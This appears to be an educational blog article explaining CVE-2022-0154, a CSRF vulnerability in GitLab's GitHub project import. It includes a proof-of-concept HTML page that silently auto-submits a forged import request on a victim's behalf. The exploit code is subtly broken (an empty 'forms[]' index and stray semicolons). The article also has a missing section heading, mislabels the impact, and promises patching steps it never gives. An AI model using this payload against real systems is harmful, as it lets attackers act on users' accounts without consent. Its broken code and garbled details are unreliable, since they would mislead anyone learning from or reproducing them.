In January 2022, a Cross-Site Request Forgery (CSRF) vulnerability was disclosed in GitLab, tracked as CVE-2022-0154. This severe bug could let a malicious actor import their GitHub project into another GitLab user's account — risk compromising code, reputation, or privacy.

This article explains what went wrong, shows code snippets, and shares how attackers can exploit this bug. We keep everything in straightforward, plain American English. Links to original sources and patching steps are included.

What is CVE-2022-0154?

CVE-2022-0154 is a CSRF vulnerability affecting GitLab (a popular DevOps platform), allowing attackers to import their GitHub repositories into their victims' GitLab accounts without consent. This meant that if a victim user was logged in to their GitLab account, an attacker could trick their browser into importing an attacker-controlled GitHub repository.

Disclosed: Jan 2022

- GitLab Advisory

How Does the Attack Work? (Simple Example)

Cross-Site Request Forgery (CSRF) attacks take advantage of a trusted user's session on a website. In the case of CVE-2022-0154, GitLab failed to validate CSRF tokens when importing from GitHub.

Example Exploit Code

Below is a demonstration using a classic HTML form to simulate what the attacker's website might look like. *Never* use this in production!

<!-- Use this form on the attacker's website -->
<html>
  <body onload="document.forms[].submit()">
    <form action="https://gitlab.example.com/import/github"; method="POST">
      <input type="hidden" name="repo_url" value="https://github.com/attacker-malicious/repo">;
      <input type="hidden" name="owner_name" value="attacker-malicious">
    </form>
    <p>If you see this, your browser didn't auto-submit the form.</p>
  </body>
</html>

When the victim visits this page, their browser automatically submits a form to the *GitLab* server while logged in as themselves. GitLab, failing to check or require a valid CSRF token, executes the request.

Why is This a Big Deal?

- Privilege Escalation: The attacker gets their repo cloned into the victim's account — potentially including scripted files, malicious README content, or confidential data (if the repo is private).
- Social Engineering: An attacker can later claim the repo, ask the victim to activate it, or plant other traps.

Original References

- GitLab 14.6.2 Security Release
- NIST CVE-2022-0154 Summary
- HackerOne GitLab Advisory *(May require login)*

14.6.2 and up

They enforced CSRF tokens on the vulnerable endpoints, blocking unauthorized POST requests from other origins.

Conclusion

CVE-2022-0154 exposed a widespread GitLab vulnerability easily abused through simple HTML code. All GitLab admins should patch immediately and educate users. The era of “just a form post” attacks isn’t over, especially when basic CSRF defenses are missing.

Stay safe by keeping your software up to date and by understanding how CSRF works!

> If you liked this rundown, check the original GitLab security advisory for the most official info.


Disclaimer: This article is for educational purposes. Never attack systems you don’t own, and always disclose vulnerabilities responsibly.

Timeline

Published on: 01/18/2022 17:15:00 UTC
Last modified on: 01/26/2022 16:15:00 UTC